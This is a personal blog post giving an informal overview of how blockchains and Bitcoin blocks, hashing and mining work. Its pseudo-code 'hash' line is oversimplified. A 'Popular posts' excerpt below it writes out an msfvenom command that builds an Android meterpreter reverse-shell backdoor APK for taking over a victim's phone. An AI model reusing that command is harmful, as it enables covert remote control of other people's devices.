Skip to main content

[Blockchain]Structure of Blockchains

Structure of a Blockchain
A blockchain at its simplest idea, is a huge ledger containing crucial information about particular transactions. Imagine a big list containing a lot of rows with information in it. Well, that is just what a blockchain is. The whole ledger is known as the blockchain and each row in it represents the blocks. A block contains all important information on a particular transaction.

To begin, a blockchain has a genesis block, which is the one at the very beginning of the chain. As for the other blocks, they will all have some information before it and after it. Informations vary depending of the purpose of the project. For example, one transaction in a block would look like this:-

In the case of bitcoins, IINW, a block is generated every 10 minutes. A block, basically contains transactions occured within a period of time. After recording transactions within those 10 minutes, the blocks are added to a chain of blocks and other transactions are recorded in the next block. As seen in the image above, a transaction in bitcoin contains, Numer of transactions in the block, size of the block, a block reward, the timestamp and many more. You can refer to the actual link where I cropped this picture.

Technical Stuff
At its core, blockchain technology is a peer-to-peer technology that uses a mathematically secured algorithm to distribute a ledger that keeps track of every single transaction happening across the network. The term Blockchain simply refers to a chain of blocks. Every 10 minutes, the blockchain network creates a new block in the case of bitcoins.
A block basically contains several rows of data, such as id, timestamp, data and other data. In the case of bitcoins, it contains  a previous hash. A blockchain, basically, is the backbone of the network. It is a ledger in the network into which every block is pushed in.

As stated earlier, blockchain links all block together. One block contains multiple transactions. The way to store the information is very important since you are dealing with millions of anonymous people on the internet. A hashing method is used to keep the information safe in the block. Multiple logical implementations are involved in a blockchain, for instance, to check whether the hash of the previous block is unchanged. This is the role of miners in Bitcoin. A mining software looks for new blocks across the network. Once it finds one, it hashes all its transactions, using a mathematically secured algorithm and the output(hash) generated is kept within the block itself. The hashing algorithmn is generally a bit like this:
hash = transactions[i] + hash[i - 1] + nonce;

If the hash output from the algorithm does not match the required format, the nonce is incremented and the data is hashed again, until the required format is obtained.

If bitcoin is just a number, does that make actual money($) just paper at the end?
~ just wondering... :/


Popular posts from this blog

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf) Requirements: Linux-based OS You'll need to have msfconsole installed on your machine You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor.  Install apktool as well. Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft. Steps 1) First of all open up your terminal. (Ctrl + Alt + T) $ sudo apt-get update Update your repositories before starting. 2) Once updated, we can start. Simply follow the steps below to get started: $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3: #include    Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically. It's simple, don't panic! You need to call a function with any name you want. Let's take loginfb() ! call ("loginfb") So, we only have to write the function loginfb now! Func loginfb() Global $oIE = _IECreate ("") Local $username = _IEGetObjByName ($oIE, "email") Local $password = _IEgetObjByName ($oIE, "pass") Local $button = _IEGetObjById ($oIE, "loginbutton") _IEFormElementSetValue ($username, "") // your email here! _IEFormElementSetValue ($password, "") //your fb password here! Send("{Enter}") EndFunc $username and $password are variables. "email" and "pass" are the names given to the textarea

[Python]Publish your python project to PyPI

The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI. In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3 . Requirements: 1. Github account 2. Basic knowledge of python 3. setuptools - (pip3 install setuptools) 4. wheel - (pip3 install wheel) By the end of this blog post, you should be able to print hello world using a single command: Let's get started! The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world . At the time that I am writing this post, there is not package called print_hello_world  on  PyPI . Logically, after doing this tutorial, there might